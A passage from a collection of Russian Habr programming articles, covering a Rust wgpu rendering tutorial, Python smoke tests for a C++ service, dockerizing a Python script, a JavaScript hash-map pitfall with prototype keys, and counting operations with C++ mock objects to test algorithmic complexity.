usage: wgpu::TextureUsages::RENDER\_ATTACHMENT, // Будем использовать surface для рендера.
format: surface\_format, // Формат, который мы выбрали ранее.
width: window\_size.width, // Ширина окна.
height: window\_size.height, // Высота окна.
present\_mode: wgpu::PresentMode::Mailbox, // Алгоритм вывода кадров на экран.
};
surface.configure(&device, &config);
// Запустим цикл обработки событий, передав в него замыкание,
// которое будет выполнятся на кождой итерации цикла.
event\_loop.run(move |event, \_, control\_flow| {
// Будем попадать в тело цикла только при появлении события ОС.
\*control\_flow = ControlFlow::Wait;
match event {
// Если обработаны все накопившиеся события - перерисовываем содержимое окна.
Event::MainEventsCleared => {
// todo: код рендера
}
// Если было запрошено закрытие окна, завершаем цикл.
Event::WindowEvent {
event: WindowEvent::CloseRequested,
..
} => {
\*control\_flow = ControlFlow::Exit;
}
// Остальные события нам не интересны.
\_ => {}
}
})
}
```
Теперь можно переходить к рендерингу.
Рендеринг
---------
Для рендеринга нужно выполнить следующие шаги:
1. Получить следующий кадр для нашей поверхности.
2. Создать View для этого изображения этого кадра. View - это что-то вроде ссылки на изображение или его часть. Его можно использовать в качестве цели для отрисовки.
3. Создать объект для записи последовательности команд рендеринга в буфер, для последующей передачи его в устройство на исполнение. Такой объект называется CommandEncoder.
4. Создать в рамках CommandEncoder проход рендеринга задав ему View (созданный на этапе 2) в качестве цели для отрисовки. Внутри прохода рендеринга можно запускать графические конвейеры, которые будут рисовать пиксели в цель для отрисовки.
5. В проходе рендеринга задать созданный нами графический конвейер и выполнить для него команду отображения трёх точек.
6. Сохранить записанные команды в буфер.
7. Передать буфер с командами в очередь команд для устройства.
8. Отобразить кадр на экране.
Алгоритм может показаться запутанным, но на практике всё выглядит проще:
```
// Получаем следующий кадр.
let frame = surface.get_current_texture().unwrap();
// Создаём View для изображения этого кадра.
let view = frame
.texture
.create_view(&wgpu::TextureViewDescriptor::default());
// Создаём CommandEncoder.
let mut encoder =
device.create_command_encoder(&wgpu::CommandEncoderDescriptor { label: None });
// Новая область видимости нужна, чтобы компилятор видел,
// что RenderPass живёт не дольше, чем CommandEncoder.
{
let mut rpass = encoder.begin_render_pass(&wgpu::RenderPassDescriptor {
label: None, // Метку для отладки оставим не заданной.
color_attachments: &[wgpu::RenderPassColorAttachment {
view: &view, // Цель для отрисовки.
resolve_target: None, // Используется для мультисэмплинга.
ops: wgpu::Operations {
load: wgpu::LoadOp::Clear(wgpu::Color::BLUE), // Очищаем кадр синим цветом.
store: true, // Сохраняем содержимое после завершения данного RenderPass.
},
}],
depth_stencil_attachment: None, // Буфер глубины не используем.
});
// Задаём графический конвейер.
// Все последующие операции рендеринга будут исполняться на нём.
rpass.set_pipeline(&pipeline);
// Отрисоваваем один объект с тремя вершинами.
rpass.draw(0..3, 0..1);
}
// Сохраняем в буфер команды, записанные в CommandEncoder.
let command_buffer = encoder.finish();
// Передаём буфер в очередь команд устройства.
queue.submit(Some(command_buffer));
// Отображаем на экране отрендеренный кадр.
frame.present();
```
Полный код теперь выглядит так:
```
use winit::dpi::PhysicalSize;
use winit::event::{Event, WindowEvent};
use winit::event_loop::{ControlFlow, EventLoop};
use winit::window::WindowBuilder;
fn main() {
// Создадим цикл обработки событий.
let event_loop = EventLoop::new();
let window_size: PhysicalSize = (800, 600).into();
// Создадим окно, задав его параметры.
let window = WindowBuilder::new()
.with\_fullscreen(None)
.with\_inner\_size(window\_size)
.with\_title("wgpu first steps")
.build(&event\_loop)
.unwrap();
// Создание экземпляра графического API.
let instance = wgpu::Instance::new(wgpu::Backends::all());
// Создаём поверхность для отображения.
let surface = unsafe { instance.create\_surface(&window) };
// Задаём желаемые параметры графического устройства
let adapter\_options = wgpu::RequestAdapterOptions {
compatible\_surface: Some(&surface),
..Default::default()
};
// Запрос адаптера - асинхронная операция.
let adapter\_future = instance.request\_adapter(&adapter\_options);
// Дождёмся её завершения с помощью pollster.
let adapter = pollster::block\_on(adapter\_future).unwrap();
// Выведем в терминал название выбранного адаптера.
println!("Selected adapter: {}", adapter.get\_info().name);
// Зададим параметры устройства по умолчанию.
let device\_descriptor = wgpu::DeviceDescriptor::default();
// Запрос устройства - асинхронная операция.
let device\_future = adapter.request\_device(&device\_descriptor, None);
// Получаем логическое устройство и очередь задач для него.
let (device, queue) = pollster::block\_on(device\_future).unwrap();
// Включим код шейдера в исполняемый файл с помощью макроса include\_str.
let shader\_code = include\_str!("../shader.wgsl");
// Создадим объект шейдера из его кода.
let descriptor = wgpu::ShaderModuleDescriptor {
label: None, // Метку для отладки оставим не заданной.
source: wgpu::ShaderSource::Wgsl(shader\_code.into()),
};
let shader\_module = device.create\_shader\_module(&descriptor);
// Определим, какой формат изображения лучше всего подходит для выбранного адаптера.
let surface\_format = surface.get\_preferred\_format(&adapter).unwrap();
// Зададим параметры целевого изображения. В нашем случае - поверхности в окне.
let color\_targets = [wgpu::ColorTargetState {
// Параметры цели для отрисовки.
format: surface\_format, // Формат целевого изображения.
blend: None, // Смешение цветов не используем.
write\_mask: Default::default(), // Пишем во все каналы RGBA.
}];
// Параметры графического конвейера оставим, в основном, по умолчанию.
let descriptor = wgpu::RenderPipelineDescriptor {
label: None, // Метку для отладки оставим не заданной.
primitive: Default::default(), // Создание фигур из вершин - по умолчанию.
vertex: wgpu::VertexState {
// Параметры вершинного шейдера.
buffers: &[], // Буффер с данными о вершинах не используется.
module: &shader\_module, // Идентификатор нашего шейдера.
entry\_point: "vs\_main", // Имя функции, которая будет вызываться для вершин.
},
fragment: Some(wgpu::FragmentState {
// Параметры фрагментного шейдера.
targets: &color\_targets, // Параметры целевого изображения.
module: &shader\_module, // Идентификатор нашего шейдера.
entry\_point: "fs\_main", // Имя функции, которая будет вызываться для фрагментов.
}),
layout: None, // Разметку для передачи внешних данных в шейдер не используем.
depth\_stencil: None, // Тест глубины нам не нужен.
multisample: Default::default(), // Multisample по умолчанию отключен.
multiview: None, // Отображение будет происходить только в одно изображение.
};
let pipeline = device.create\_render\_pipeline(&descriptor);
// Настроим поверхность в соттвитствии с параметрами окна:
let config = wgpu::SurfaceConfiguration {
usage: wgpu::TextureUsages::RENDER\_ATTACHMENT, // Будем использовать surface для рендера.
format: surface\_format, // Формат, который мы выбрали ранее.
width: window\_size.width, // Ширина окна.
height: window\_size.height, // Высота окна.
present\_mode: wgpu::PresentMode::Mailbox, // Алгоритм вывода кадров на экран.
};
surface.configure(&device, &config);
// Запустим цикл обработки событий, передав в него замыкание,
// которое будет выполнятся на кождой итерации цикла.
event\_loop.run(move |event, \_, control\_flow| {
// Будем попадать в тело цикла только при появлении события ОС.
\*control\_flow = ControlFlow::Wait;
match event {
// Если обработаны все накопившиеся события - перерисовываем содержимое окна.
Event::MainEventsCleared => {
// Получаем следующий кадр.
let frame = surface.get\_current\_texture().unwrap();
// Создаём View для изображения этого кадра.
let view = frame
.texture
.create\_view(&wgpu::TextureViewDescriptor::default());
// Создаём CommandEncoder.
let mut encoder =
device.create\_command\_encoder(&wgpu::CommandEncoderDescriptor { label: None });
// Новая область видимости нужна, чтобы компилятор видел,
// что RenderPass живёт не дольше, чем CommandEncoder.
{
let mut rpass = encoder.begin\_render\_pass(&wgpu::RenderPassDescriptor {
label: None, // Метку для отладки оставим не заданной.
color\_attachments: &[wgpu::RenderPassColorAttachment {
view: &view, // Цель для отрисовки.
resolve\_target: None, // Используется для мультисэмплинга.
ops: wgpu::Operations {
load: wgpu::LoadOp::Clear(wgpu::Color::BLUE), // Очищаем кадр синим цветом.
store: true, // Сохраняем содержимое после завершения данного RenderPass.
},
}],
depth\_stencil\_attachment: None, // Буфер глубины не используем.
});
// Задаём графический конвейер.
// Все последующие операции рендеринга будут исполняться на нём.
rpass.set\_pipeline(&pipeline);
// Отрисоваваем один объект с тремя вершинами.
rpass.draw(0..3, 0..1);
}
// Сохраняем в буфер команды, записанные в CommandEncoder.
let command\_buffer = encoder.finish();
// Передаём буфер в очередь команд устройства.
queue.submit(Some(command\_buffer));
// Отображаем на экране отрендеренный кадр.
frame.present();
}
// Если было запрошено закрытие окна, завершаем цикл.
Event::WindowEvent {
event: WindowEvent::CloseRequested,
..
} => {
\*control\_flow = ControlFlow::Exit;
}
// Остальные события нам не интересны.
\_ => {}
}
})
}
```
В результате при запуске приложение получаем такое окошко:
Итог
----
Итак, для отображения треугольника мы проделали следующие операции:
1. Организовали цикл обработки событий и создали окно.
2. Инициализировали экземпляр бэкенда wgpu.
3. Создали поверхность для окна.
4. Выбрали графический адаптер.
5. Создали виртуальное графическое устройство и очередь команд для него.
6. Написали вершинный и фрагментный шейдеры.
7. Создали графический конвейер.
8. Получили следующий кадр и View для его изображения.
9. Создали CommandEncoder.
10. Создали проход рендеринга.
11. Задали графический конвейер.
12. Добавили команду отображения вершин.
13. Сохранили команды из CommandEncoder в буфер команд.
14. Передали буфер команд в очередь на выполнение.
15. Отобразили кадр в окне.
Может показаться, что это очень большой объём работы для такой маленькой задачи. Прелесть в том, что пункты 1-5, обычно, выполняются единожды для любого графического приложения. Пункты 6-7, с небольшими дополнениями повторяются для каждого способа отрисовки, и каждое повторение не сильно отличается от предыдущего. Пункты 8-15 в реальном приложении ненамного сложнее, чем в данном примере. Иными словами, с ростом сложности приложения, сложность алгоритма рендеринга растёт слабо.
[Репозиторий с кодом](https://github.com/F3kilo/wgpu_first_steps)
P.S.
----
Если статья вызовет интерес, то я, возможно, возьмусь за другие статьи, демонстрирующие другие возможности и примеры wgpu.
Статья подготовлена в преддверии старта курса **Rust Developer**, в связи с чем хочу пригласить всех желающих на [бесплатный демоурок курса](https://otus.pw/MUpT/), в рамках которого будут разобраны подходы к реализации GUI фреймворков и рассмотрен Rust фреймворк iced, на котором будет создано небольшое приложение. Регистрация [доступна по ссылке](https://otus.pw/MUpT/).
|
https://habr.com/ru/post/658859/
| null |
ru
| null |
# Смок тестирование на небольшом проекте: как началось и какие результаты
Разрабатываю проект на C++. Решил попробовать на своем проекте тестовые сценарии
скриптовать на Python вместо того, чтобы тестировать код вручную. Обычно от программистов у нас в компании это не требуется, так что это был эксперимент. За год написал около 100 тестов и этот эксперимент оказался вполне полезным. Тесты выполняются несколько минут и позволяют быстро проверить как мои пул реквесты так и пул реквесты других разработчиков.
До этого эксперимента я, как разработчик, после добавления новой фичи выполнял ручное
тестирование. То, что тестирование программистом новых фич делалось вручную не было проблемой в компании — по крайней мере, в тех группах, где я работал, разработчики обычно так и тестировали.
С точки зрения проектирования, скрипты с тестами имеют очень простую организацию. Класс на каждый тест плюс несколько классы для моделирования взаимодействующих программ. Вот эти классы для моделирования взаимодействующих программ и требуют в начале время на написание. Времени на написание первых тестовых скриптов уходило достаточно много. Задачу, которую можно сделать за 1 час делал 1 день. Так что первые несколько тестов самые затратные по времени. Да и в дальнейшем на маленьких доработках на написание теста тратится больше времени, чем на ручной тест. Так что не на каждую доработку я делал тест.
Однако на задачах с длительной разработкой соотношение уже другое. Один раз написанный
автоматический тест дает экономию времени, поскольку используется много раз в процессе разработки. Например, в ходе разработки одной задачи был написан 18 тестов, и именно они гарантировали корректность алгоритма, который состоял из C++, Lua, SQL и использовал обмен сообщения с RabbitMQ и работу с БД.
Поскольку тесты делал для себя, то добавил режим запуска тестов в котором тестируемая программа не запускается при тестировании, а тесты ожидают, что тестируемая программа уже запущена. Это дает мне возможность выполнить тест когда программа запущена под IDE и установить брейкпоинты в требуемых местах. Этот режим оказался удобным для отладки сложных тестовых сценариев.
После полугода добавления тестов, когда их было было уже несколько десятков и удалось избавиться от ложных срабатываний, от них стала появляться ощутимая польза для проекта. Я стал использовать их для быстрой проверки пул реквестов других разработчиков. После code review выполнял прогон тестов на ветке пул реквеста. Несколько минут работы тестов и было ясно, есть ли проблемы в существующем уже коде — падения или неправильная обработка. В итоге эти тестовые скрипты я стал использовать для смок тестирования на проекте.
**Пример выполнения отдельного теста**
```
$ python3 autotests.py -c VirtualPaymentsDeleteWithShard
[ ========== ] Running 1 tests
[ ========== ] autotest dir /home/sergey.kurenkov/src.git/dp.confirm_bfam/User_Part/build/autotests.dir
[ RUN ] BisrtAddon.VirtualPaymentsDeleteWithShard [test #1, time: 2017-07-31 18:09:05, test suite duration: 2.62]
[ OK ] BisrtAddon.VirtualPaymentsDeleteWithShard [8.012 sec, time: 2017-07-31 18:09:13, test suite duration: 10.64]
[ ========== ] 1 tests ran
[ PASSED ] 1 tests
[ ] test suite duration (21.678 sec)
```
**Пример теста - код теста в методе run\_in\_test\_env**
```
class VirtualPaymentsBase(object):
def __init__(self, autotest_cfg):
self.autotest_cfg = autotest_cfg
self.table_name = "virtual_payments"
self.db_records = []
self.rabbit_srv = None
self.snmp_agent = None
self.con = None
self.cart_consumer = None
self.pub = None
self.test_env = None
self.sent_cart_records = []
self.sent_hrs_records = []
self.sent_brt_records = []
self.sent_bfam_records = []
self.cart_consumer = None
self.hrs_consumer = None
self.brt_consumer = None
self.bfam_consumer = None
self.test_clnt_id = random.randint(1, 100000000)
def test_name(self):
raise NotImplementedError
def publish_records(self):
raise NotImplementedError
def check_db_records(self):
raise NotImplementedError
def check_sent_cart_records(self):
utility.check_number_of_records(self.sent_cart_records, 0)
def expect_cart_records(self):
return 0
def check_sent_hrs_records(self):
utility.check_number_of_records(self.sent_hrs_records, 0)
def expect_hrs_records(self):
return 0
def check_sent_brt_records(self):
raise NotImplementedError
def expect_brt_records(self):
raise NotImplementedError
def check_sent_bfam_records(self):
raise NotImplementedError
def expect_bfam_records(self):
raise NotImplementedError
def db_records_has_been_fetched(self, db_records):
return True if len(db_records) > 0 else False
def prepare_db(self):
raise NotImplementedError
def on_finish(self):
pass
@utility.log_run
def run_in_test_env(self, test_env):
self.snmp_agent = test_env.snmp_agent
self.con = test_env.con
self.test_env = test_env
self.pub = test_env.pub
self.cart_consumer = test_env.cart_consumer
self.hrs_consumer = test_env.hrs_consumer
self.brt_consumer = test_env.brt_consumer
self.bfam_consumer = test_env.bfam_consumer
self.prepare_db()
self.publish_records()
self.db_records = fetch_table_records(partial(db_functions.fetch_virtual_payments,
clnt_id=self.test_clnt_id),
self.con, self.db_records_has_been_fetched)
logging.info("checking db records")
self.check_db_records()
logging.info("checking cart records")
self.sent_cart_records = self.cart_consumer.get_records(10, self.expect_cart_records())
self.check_sent_cart_records()
logging.info("checking brt records")
self.sent_brt_records = self.brt_consumer.get_records(10, self.expect_brt_records())
self.check_sent_brt_records()
logging.info("checking hrs records")
self.sent_hrs_records = self.hrs_consumer.get_records(10, self.expect_hrs_records())
self.check_sent_hrs_records()
logging.info("checking bfam records")
self.sent_bfam_records = self.bfam_consumer.get_records(10, self.expect_bfam_records())
self.check_sent_bfam_records()
self.on_finish()
logging.info("done")
class VirtualPaymentsWithShard(VirtualPaymentsBase):
def __init__(self, autotest_cfg):
VirtualPaymentsBase.__init__(self, autotest_cfg)
self.routing_key = "ps.ocsdb_tevt.virtual_payments.100"
self.brt_routing_key = "ps.ocsdb.virtual_payments"
self.bfam_routing_key = "ps.ocsdb_bfam.confirm_virt"
def test_name(self):
return "BisrtAddon.VirtualPaymentsWithShard"
def prepare_db(self):
cur = self.con.cursor()
cur.execute("delete from virtual_payments t "
"where t.clnt_clnt_id = {clnt_id}".format(clnt_id=self.test_clnt_id))
self.con.commit()
def publish_records(self):
record = {
'last_record' : 1,
'virt_id' : self.test_clnt_id,
'vrtp_vrtp_id' : 1,
'clnt_clnt_id' : self.test_clnt_id,
'amount_r' : 123.4,
'exp_date' : '20900102',
'virtual_date' : '20690203',
'amount_' : 12.3,
'vrnt_vrnt_id' : 2,
'vrct_vrct_id' : 3,
'start_date' : '20160203',
'end_date' : '20890405',
'navi_date' : '20170405',
}
message_str = json.dumps([record], indent=4)
logging.info(message_str)
self.pub.publish(self.routing_key, message_str)
def check_db_records(self):
utility.check_number_of_records(self.db_records, 1)
expected_recs = [(self.test_clnt_id,
1,
self.test_clnt_id,
123.4,
datetime(2090, 1, 2),
datetime(2069, 2, 3),
12.3,
None,
2,
None,
None,
None,
None,
None,
3,
datetime(2016, 2, 3),
datetime(2089, 4, 5),
datetime(2017, 4, 5),
None,
None,
None,
None,
None,
None,
)]
compare_db_records(self.db_records, expected_recs)
def expect_brt_records(self):
return 1
def check_sent_brt_records(self):
utility.check_number_of_records(self.sent_brt_records, 1)
a_message = self.sent_brt_records[0]
check_message_routing_key(a_message, self.brt_routing_key)
check_message_header_type(a_message, self.brt_routing_key)
a_record = a_message['record']
check_amqp_field(a_record, 'clnt_id', self.test_clnt_id)
check_amqp_field(a_record, 'virt_id', self.test_clnt_id)
check_amqp_field(a_record, 'vrtp_id', 1)
check_amqp_field(a_record, 'vrct_id', 3)
check_amqp_field_not_present(a_record, 'bltp_id')
check_amqp_field_not_present(a_record, 'chrg_id')
check_amqp_field(a_record, 'amount', 12.3)
check_amqp_field(a_record, 'amount_r', 123.4)
check_amqp_field(a_record, "start_date", '2016-02-03')
check_amqp_field(a_record, "end_date", '2089-04-05')
check_amqp_field(a_record, "deleted", False)
def expect_bfam_records(self):
return 1
def check_sent_bfam_records(self):
utility.check_number_of_records(self.sent_bfam_records, 1)
a_message = self.sent_bfam_records[0]
check_message_routing_key(a_message, self.bfam_routing_key)
check_message_header_type(a_message, self.bfam_routing_key)
a_record = a_message['record']
utility.check_amqp_field(a_record, 'virt_id', self.test_clnt_id)
```
|
https://habr.com/ru/post/334544/
| null |
ru
| null |
# Как превратить скрипт на Python в «настоящую» программу при помощи Docker
Никого не интересует, умеете ли вы разворачивать связанный список — всем нужно, чтобы можно было легко запускать *ваши* программы на *их* машине. Это становится возможным благодаря Docker.
Для кого предназначена эта статья?
==================================
Вам когда-нибудь передавали код или программу, дерево зависимостей которой напоминает запутанную монтажную плату?
*Как выглядит управление зависимостями*
Без проблем, я уверен, что разработчик любезно предоставил вам скрипт установки, чтобы всё работало. Итак, вы запускаете его скрипт, и сразу же видите в оболочке кучу сообщений логов ошибок. *«У меня на машине всё работало»*, — обычно так отвечает разработчик, когда вы обращаетесь к нему за помощью.
Docker решает эту проблему, обеспечивая *почти* тривиальную портируемость докеризованных приложений. В этой статье я расскажу, как быстро докеризировать ваши приложения на Python, чтобы ими можно было легко делиться с любым человеком, у которого есть Docker.
В частности, мы рассмотрим скрипты, которые должны работать как фоновый процесс.
Репозитории Github и Docker
===========================
Если вам более удобна наглядность, то изучите репозитории [Github](https://github.com/adamcyber1/mypythondocker) и [Docker](https://hub.docker.com/repository/docker/adamcyber/directory-monitor), где будет хоститься этот код.
Но… почему Docker?
==================
Контейнеризацию можно сравнить с размещением вашего ПО в грузовом контейнере, обеспечивающем стандартный интерфейс для компании-грузоперевозчика (или другого компьютера-хоста), который позволяет взаимодействовать с ПО.
Контейнеризация приложений на самом деле является золотым стандартом портируемости.
*Общая схема Docker/контейнеризации*
Контейнеризация (особенно при помощи [docker](https://docs.docker.com/get-started/)) открывает перед вашим программным приложением огромные возможности. Правильно контейнеризированное (например, докеризированное) приложение можно развёртывать с возможностью масштабирования через [Kubernetes](https://kubernetes.io/) или [Scale Sets](https://docs.microsoft.com/en-us/azure/virtual-machine-scale-sets/overview) любого поставщика облачных услуг. И да, об этом мы тоже поговорим в следующей статье.
Наше приложение
===============
В нём не будет ничего особо сложного — мы снова работаем с простым скриптом, отслеживающим изменения в каталоге (так как я работаю в Linux, это `/tmp`). Логи будут передаваться на stdout, и это важно, если мы хотим, чтобы они отображались в логах docker (подробнее об этом позже).
*main.py: простое приложение мониторинга файлов*
Эта программа будет выполняться бесконечно.
Как обычно, у нас есть файл `requirements.txt` с зависимостями, на этот раз только с одной:
*requirements.txt*
Создаём Dockerfile
==================
В моей [предыдущей статье](https://python.plainenglish.io/turning-your-python-script-into-a-real-program-cb702e16ed02) мы создали скрипт процесса установки в Makefile, благодаря чему им очень легко делиться. На этот раз мы сделаем нечто подобное, но уже в Docker.
*Dockerfile*
Нам необязательно вдаваться в подробности устройства и работы Dockerfile, об этом есть более подробные [туториалы](https://takacsmark.com/dockerfile-tutorial-by-example-dockerfile-best-practices-2018/).
Краткое описание Dockerfile — мы начинаем с базового образа, содержащего полный интерпретатор Python и его пакеты, после чего устанавливаем зависимости (строка 6), создаём новый минималистичный образ (строка 9), копируем зависимости и код в новый образ (строки 13–14; это называется многоэтапной сборкой, в нашем случае это снизило размер готового образа с 1 ГБ до 200 МБ), задаём переменную окружения (строка 17) и команду исполнения (строка 20), на чём и завершаем.
Сборка образа
=============
Завершив с Dockerfile, мы просто выполняем из каталога нашего проекта следующую команду:
`sudo docker build -t directory-monitor .`
*Собираем образ*
Запуск образа
=============
После завершения сборки можно начинать творить магию.
Один из самых замечательных аспектов Docker заключается в том, что он предоставляет стандартизованный интерфейс. Так что если вы правильно спроектируете свою программу, то передавая её кому-то другому, достаточно будет сказать, что нужно изучить docker (если человек ещё его не знает), а не обучать его тонкостям устройства вашей программы.
Хотите увидеть, что я имею в виду?
Команда для запуска программы выглядит примерно так:
Здесь многое нужно объяснить, поэтому разобьём на части:
`-d` — запуск образа в detached mode, а не в foreground mode
`--restart=always` — при сбое контейнера docker он перезапустится. Мы можем восстанавливаться после аварий, ура!
`--e DIRECTORY='/tmp/test'` — мы передаём при помощи переменных окружения каталог, который нужно отслеживать. (Также мы можем спроектировать нашу программу на python так, чтобы она считывала аргументы, и передавать отслеживаемый каталог таким способом.)
`-v /tmp/:/tmp/` — монтируем каталог `/tmp` в каталог `/tmp` контейнера Docker. Это важно: любой каталог, который мы хотим отслеживать, ДОЛЖЕН быть видимым нашим процессам в контейнере docker, и именно так это реализуется.
`directory-monitor` — имя запускаемого образа
После запуска образа его состояние можно проверять с помощью команды `docker ps`:
*Вывод docker ps*
Docker создаёт crazy-имена для запущенных контейнеров, потому что люди не очень хорошо запоминают значения хэшей. В данном случае имя crazy\_wozniak относится к нашему контейнеру.
Теперь, поскольку мы отслеживаем `/tmp/test` на моей локальной машине, если я создам в этом каталоге новый файл, то это должно отразиться в логах контейнера:
*Логи Docker демонстрируют, что приложение работает правильно*
Вот и всё, теперь ваша программа докеризирована и запущена на вашей машине. Далее нам нужно решить проблему передачи программы другим людым.
Делимся программой
==================
Ваша докеризированная программа может пригодиться вашим коллегам, друзьям, вам в будущем, да и кому угодно в мире, поэтому нам нужно упростить её распространение. Идеальным решением для этого является [Docker hub](https://hub.docker.com/).
Если у вас ещё нет аккаунта, зарегистрируйтесь, а затем выполните логин из cli:
*Логинимся в Dockerhub*
Далее пометим и запушим только что созданный образ в свой аккаунт.
*Добавляем метку и пушим образ*
*Теперь образ находится в вашем аккаунте docker hub*
Чтобы убедиться, что всё работает, попробуем выполнить pull этого образа и использовать в сквозном тестировании всей проделанной нами работы:
*Сквозное тестирование нашего образа docker*
Весь этот процесс занял всего 30 секунд.
Что дальше?
===========
Надеюсь, мне удалось убедить вас в потрясающей практичности контейнеризации. Docker останется с нами надолго, и чем раньше вы его освоите, тем больше получите преимуществ.
Суть Docker заключается в снижении сложности. В нашем примере это был простой скрипт на Python, но можно использовать этот туториал и для создания образов произвольной сложности с деревьями зависимостей, напоминающими спагетти, но *конечного пользователя эти трудности не коснутся*.
Источники
=========
* <https://runnable.com/docker/python/dockerize-your-python-application>
* <https://www.docker.com/>
* <https://kubernetes.io/>
* <https://stackoverflow.com/questions/30449313/how-do-i-make-a-docker-container-start-automatically-on-system-boot>
* <https://docs.docker.com/docker-hub/repos/>
---
#### На правах рекламы
**Вдсина** предлагает [виртуальные серверы на Linux](https://vdsina.ru/cloud-servers?partner=habr354) или Windows. Используем исключительно [брендовое оборудование](https://habr.com/ru/company/vdsina/blog/514570/), лучшую в своём роде панель управления серверами собственной разработки и одни из лучших дата-центров в России и ЕС. Поспешите заказать!
[](https://vdsina.ru/cloud-servers?partner=habr354)
|
https://habr.com/ru/post/555540/
| null |
ru
| null |
# Еще один нюанс JavaScript, о котором все знают, но не все задумываются
 В последнее время вышло много статей о Javascript. Как холиварных, рассказывающих о том, какой он [плохой](https://habrahabr.ru/post/334760/), или какой он [хороший](https://habrahabr.ru/post/334858/), так и полезных рассказывющих о некоторых странных особенностях и разжевывающих «почему так», как например [вот эта](https://habrahabr.ru/company/ruvds/blog/337732/).
И я решил сделать свой микровклад в эту тему.
Для одной из типичных задач, хранения данных в виде «ключ — значение», почти всегда разработчики на Javascript используют объект. Просто потому что объект сам по себе именно так и устроен, представляет из себя хэш-таблицу, где имя поля это и есть ключ. Но у этого есть недостаток, о котором я узнал, обжегшись на нем. Проиллюстрирую его следующим тестом:
```
let a = {
'myKey': 'myValue'
}
let key = 'constructor'; // comes from outside source
let b = a[key] || 'defaultValue';
expect(b).to.be.equal('defaultValue'); // fails
```
И весь код, с которым я когда либо работал, говорил о том, что все те разработчики, которые его писали, на эту проблему как и я не натыкались, и соответсвенно никак не пытались с ней бороться.
Рассказывать подробности того, по какой причине это сломалось, смысла не имеет, то что произошло — совершенно очевидно. Вероятность наткнуться на такое поведение невысока, но тем не менее, как выяснилось, ненулевая. Первое, что я хотел сделать, это найти библиотеку, которая это решает, предоставляет интерфейс хэш таблицы. Но, поискав, я нашел лишь библиотеки, которые полностью изолируются от использования объекта, и честно вычисляют хэш. Они, конечно, применимы и даже необходимы, если в качестве ключа нужно использовать объект, а не строку или число. Но у них есть и вытекающий недостаток — они накладывают некоторый «оверхед», на который не все могут согласиться. После недолгих мытарств я пришел к тому, что нужно таки написать еще один велосипед.
Библиотека [hash-map](https://www.npmjs.com/package/hash-map) решает эту задачу методом сокрытия всех нижележащих полей пустыми значениями:
```
const result = {};
for (var prop of Object.getOwnPropertyNames(Object.prototype)) {
result[prop] = undefined;
}
return result;
```
Способы использования можно посмотреть в readme.
### Yet another JS library
Статья получилась короткая, да и нечего особо рассказать об этой микропроблеме. Поэтому я до кучи решил упомянуть об еще одной библиотечке — [typescript-reexport-generator](https://www.npmjs.com/package/typescript-reexport-generator). В процессе разработки на typescript я прибегал к разным способам экспортировать-импортировать код между файлами, пришел к тому, что наиболее удобным является следующее. Все .ts файлы в папке экспортируют код следующим образом:
```
// file1
export function myFunction(){}
// file2
export class myClass{}
```
Далее в папку кладется файл index.ts со следующим содержимым:
```
export * from './file1';
export * from './file2';
```
Теперь можно импортировать можно вот так:
```
//было
import { myFunction } from './folder/file1';
import { myClass } from './folder/file2';
//стало
import { myFunction, myClass } from './folder';
```
кроме этого, между файлами одной папки можно импортироваться вот так:
```
import { myClass } from '.';
export function myFunction(){ // doSmth with class }
```
Есть еще один мини-выигрыш: навигация в VSCode (ctrl + mouse click) наилучшим образом работает с таким экспортированием. Навигация от использования до имплементации в 1 клик. С default экспортом навигация осуществлялась в два клика, что несколько удручало, поэтому я от такого довольно быстро полностью отказался.
И для того, чтобы не писать эти реэкспорты руками, я написал простенький генератор, который создает эти файлы index.ts из таски с gulp.watch. Если вы используете такой же способ импортов-экспортов, библиотека может оказаться полезной.
Недостаток библиотеки, а куда же без них, это то, что VSCode не следит за изменениями файлов, поэтому только что созданный файл с экспортами не сразу позволяет импортироваться снаружи. Приходится руками зайти в index, чтобы студия «увидела», что там появилась новая строчка. Другой недостаток, который уже зависит от меня — gulp.watch не сообщает что именно изменилось, соответственно генератору приходится просматривать (и парсить) все файлы в проекте. В будущем возможно создам следующую версию библиотеки где это будет решено. Полным будет только первый проход, а далее будут парситься только те файлы, которые были изменены.
|
https://habr.com/ru/post/338594/
| null |
ru
| null |
# Как написать автоматический тест на алгоритмическую сложность?
Изначально задача возникла больше из академического интереса, чем из практических соображений. После того, как я узнал о Mock-объектах, мне стало интересно, а существует ли такая ситуация, для которой можно написать тест с помощью Mock-объекта, но нельзя с помощью тестов состояния. Буквально первая мысль, которая пришла в голову, была про вычислительную сложность алгоритмов. Можно ли написать автоматический тест, проверяющий, что в конкретной ситуации используется алгоритм определенной сложности?
Идея решения очень проста: *Предположим, некоторый алгоритм обрабатывает входной набор данных. Тогда его алгоритмическая сложность определяется количеством и составом операций, выполненных над этим набором. Если на вход подать Mock-объекты, которые будут считать каждый вызов своего метода, то после завершения работы алгоритма мы сможем посчитать точное количество и тип действий, которое потребовалось для его работы. Остается только записать Assert-утверждение.*
Ограничение: для данного метода существенно использование статического или динамического полиморфизма, чтобы осуществить подмену на Mock-объект.
#### Продемонстрируем как это работает на примере С++.
Начнем с Mock-объекта. При работе со структурами данных в C++ требуется, чтобы для объекта были определены операции сравнения < и ==, а также оператор присваивания и оператор копии. Первые две операции — это чтение объекта, а последние две — записи. Напишем класс, который будет отдельно считать операции чтения и операции записи.
```
class Mock
{
public:
Mock(): someValue(0){}
Mock(int value): someValue(value) {}
Mock(Mock const& other)
{
++Mock::writeCounter; // подсчет операций записи
++Mock::readCounter; // подсчет операций чтения
this->someValue = other.someValue;
}
Mock& operator=(Mock const& other)
{
++Mock::writeCounter; // подсчет операций записи
++Mock::readCounter; // подсчет операций чтения
this->someValue = other.someValue;
return *this;
}
static int HasBeenRead()
{
return readCounter;
}
static int HasBeenWritten()
{
return writeCounter;
}
static void Clear()
{
readCounter = 0;
writeCounter = 0;
}
private:
int someValue;
static int readCounter; //Счетчик операций чтения
static int writeCounter; //Счетчик операций записи
friend bool operator==(Mock const& m1, Mock const & m2);
friend bool operator<(Mock const& m1, Mock const & m2);
};
int Mock::readCounter = 0;
int Mock::writeCounter = 0;
bool operator==(Mock const& m1, Mock const & m2)
{
Mock::readCounter += 2; // подсчет операций чтения
return m1.someValue == m2.someValue;
}
bool operator<(Mock const& m1, Mock const & m2)
{
Mock::readCounter +=2; // подсчет операций чтения
return m1.someValue < m2.someValue;
}
```
Апробируем нашу идею нашу идею на алгоритмах и структурах данных библиотеки STL языка С++.
Сложность ставки в список O(Const).
```
list list;
for(int i = 999; i >= 0; --i)
list.insert(list.begin(), Mock(i));
